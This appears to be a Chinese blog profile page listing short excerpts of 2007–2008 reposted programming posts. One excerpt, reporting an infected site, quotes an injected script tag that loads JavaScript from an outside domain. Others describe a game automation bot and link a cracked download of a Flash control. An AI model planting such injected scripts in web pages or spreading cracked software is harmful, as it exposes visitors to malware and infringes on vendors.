自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

  • 博客(19)
  • 收藏
  • 关注

转载 byte[]和16进制字符串的互相转换

hex string to byte[]public static byte[] StringToByte1(string value) { int len = value.Length / 2; byte[] ret = new byte[len]; for (int i = 0;...

2008-10-24 09:49:00 246

转载 从观察者模式说起

先看其意图,GOF说:定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都能得到通知并被自动更新。从最原始最本能的思维出发,上述意图看起来似乎是如下一种情况从上图看起来,貌似挺复杂的,当Subject的State变化时调用StateChanged(),那在StateChanged()中调用Class1、Class2、Cl...

2008-07-19 19:05:00 84

转载 推荐一个flash播放控件F-IN-B0X

结合flash可以方便的做出类似于QQ宠物的桌面助手程序。相比之下,vs自带的Shockwave Flash Object 在透明处理上并不理想官方网站上有详细的代码示例可以下载官方网站:http://www.f-in-box.com/破解下载:http://www.cnblogs.com/Files/Pcant/f-in-box.rar另附一个类似于QQ宠物的例子,...

2008-04-01 15:03:00 112

转载 天龙八部基于颜色的简易动作式外挂

首先声明,本文重在记录写这么一个玩意的过程。因为恢复了系统,所查阅的技术上的资料地址已经丢失,无法贴出来与大家分享,但最后我会附上源码,代码我也已经做了比较详细的注释。为了操作API方便,代码是C++的,程序本身没有什么技术含量,大多内容也都来自网上,文中就不对技术方面过多的解释了,对键盘鼠标模拟关心的朋友直接看代码就可以了。 起因是一个哥们勾引我玩天龙...

2008-02-14 11:52:00 512

转载 插件架构学习体会(三)--插件:兄弟们要团结

过年上班第一天,首先给大伙拜个晚年。接着说,插件和宿主程序之间的相互通讯都不是什么问题了,那插件之间的相互通讯呢?理论上来说,插件之间的相互通讯是比较少见的,因为他们之间的通讯势必造成插件之间的依赖关系,那么对加载顺序也就有了严格的要求,我们应该尽量避免这种依赖。话说回来,如果需要插件间通讯,我们该如何做,不难想到,既然插件和宿主可以相互通讯,那我们只要让宿主做插件的中间人,就可...

2008-02-13 09:40:00 87

转载 插件架构学习体会(二) -- 插件程序说:要求平等对话

在上一篇中我们知道,宿主程序对插件程序定义了一个规约,以此达到和插件程序通讯的目的。那插件有些不平衡,有时候我也需要知道你宿主程序的一些信息来完成我的工作,因此,我必须和你通讯,要有对话的权利。实际上,插件一般都会或多或少的用到宿主程序的上下文,比如vs插件,需要获取vs环境中的编辑的代码对象,才能完成它的工作比如格式化啊统计啊,再比如播放器的歌词插件,至少要获取播放器正在播放的是哪首歌...

2008-01-22 13:02:00 100

转载 插件架构学习体会(一) -- 宿主程序说:插件你得听我的

看了一段时间的#develop,首先接触到的就是程序的插件架构。园子里也有许多不错的资料可以学习。随时把自己的认识写下来和大家交流,无疑会有很大帮助。闲话就不说了,进入正题。 说到插件架构,首先要有一个整体印象,到底什么才是插件架构?这个问题的答案很好找,找个插件架构的程序看看就可以了,比如VS,MyIE,再比如千千静听。我们可以开发不同功能的插件,加载到宿主程序上,功...

2008-01-20 12:05:00 144

转载 我的2008和2007

看大家都在写年终总结,回顾一年的所得所失。按照习惯,我依旧是先展望2008,再回忆20072008年将是奋力一击的一年,08的几点计划1、继续深入c#和clr的学习2、分布式相关技术3、socket通讯相关技术4、#develop的学习研究5、asp.net深入学习,买本Thin的书6、继续学习架构设计7、多写blog,哪怕是很简单的东西,是收获就写一写...

2007-12-29 09:29:00 87

转载 运算符??

在sharpdevelop中看到如下一段代码1publicvoidStartCoreServices()2{3if(configDirectory==null)4configDirectory=Path.Combine(Environment.GetFolderP...

2007-12-13 15:41:00 75

转载 决定学习SharpDevelop

SharpDevelop可以让我们学到很多东西,以前好奇过一阵,但最终没有沉下心来细看,只是把其中的TextEditor拿出来到处用。刚才到朋友那借了那本《C#项目开发全程剖析》,决定细细的学习一遍,学习一下她的插件架构,以及代码工具所常用的所有部分。相信如果理解比较好,可以自己实现一个比较不错的代码工具,这也正是我期望的。标记一下,从今天开始,着手SharpDevelop的学习,随...

2007-12-07 10:22:00 87

转载 我也发一代码生成器

半成品都算不上,源码也没有整理,之所以发出来,希望大家拍拍砖,提提建议和意见。其中用到了Weifen Luo的dockpanel以及sharpdevelop中的texteditor,界面模仿了李天平李兄的Codematic2.0,表示感谢。如李兄有意见请联系,我随时撤下。闲话不多说了,先贴图如下:源码下载地址:http://www.cnblogs.com/Files/Pcant/...

2007-12-01 11:07:00 74

转载 sqlserver2005 开发版安装错误

错误1:“无法找到用于 MicrosoftSQLNativeClient 产品安装包。 尝试再次使用的安装包 ' Sqlncli.msi ' 有效副本安装。”解决:之前装过sqlserver express,native client也就装上了,后来发现把native client卸载掉,重新用开发版的装,不在出现这个错误。所以装vs2005时装了sqlserver express的朋友...

2007-07-28 16:32:00 78

转载 关于CooperativeLevelFlags.Background | CooperativeLevelFlags.NonExclusive

Managed DirectX中创建了一个键盘的DirectInput device,然后SetCooperativeLevel(),为什么CooperativeLevelFlags的值只能取CooperativeLevelFlags.Background | CooperativeLevelFlags.NonExclusive,这样,无论窗口有没有焦点程序都能捕获到键盘行为。如果取了C...

2007-07-25 17:33:00 129

转载 站点中毒了

表现为:1、页面文件末尾被追加了<script language=javascript src=http://www.1717av.com/1717.js></script>2、css文件末尾追加了body{backgroundimage:url('javascript:document.write(...

2007-07-11 15:44:00 377

转载 [收集]enter键切换焦点

<script language=javascript>function shiftfocus() { var keychar,fn,fesum,i,j,k,fsum; var fname=event.srcElement.name; if(document.layers) //ns ...

2007-07-06 14:35:00 70

转载 一个axd的问题

ajax项目上传到虚拟空间后,ajax失效,同时发现验证控件失效,并且FreeTextBox出错,这些问题在本地机器上都不存在,肯定是空间设置问题。解决办法:站点axd映射中,把确认文件是否存在前面的勾去掉,一切正常。 转载于:https://www.cnblogs.com/Pcant/archive/2007/07/06/807988.html...

2007-07-06 09:20:00 91

转载 属性

《effective c#》中Item one中就讨论了属性和公共字段的问题。显然公共字段破坏了类的封装性,并且不容易控制。而属性则让我们以类似访问公共字段的形式访问私有字段。对此,以前的解决方式就是私有字段+Set()&Get()函数来控制。查看IL对比了一下,相对于我们自己写访问函数,属性内部维护了这么两个函数,同时多了属性的一个instance,但这个差别应该算是很小的。在...

2007-06-19 15:03:00 78

转载 Asp.Net中简单操作Word Documents

先推荐两个links:http://www.codeproject.com/aspnet/wordapplication.asphttp://www.c-sharpcorner.com/UploadFile/mgold/WordFromDotNet11082005235506PM/WordFromDotNet.aspx其实网上我们可以找到更多更深入的资料,如果只是像我一样把dataset...

2007-04-03 09:48:00 95

转载 水晶报表的两点体会

最近由于工作需要小用了一下水晶报表,VS.Net自带的CrystalReport9.0版的。查了一些资料,基本上满足需要没有多大问题,所做报表本身也比较简单,没有接触水晶报表更复杂的部分。设置数据源,报表的打印处理等代码网上也比较多。我就提两个新手容易忽略的问题:1、在push模式下使用水晶报表,经常会出现水晶报表加载错误,群里常有人问起。如果你是用System.Data.DataSe...

2007-02-08 16:29:00 62

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除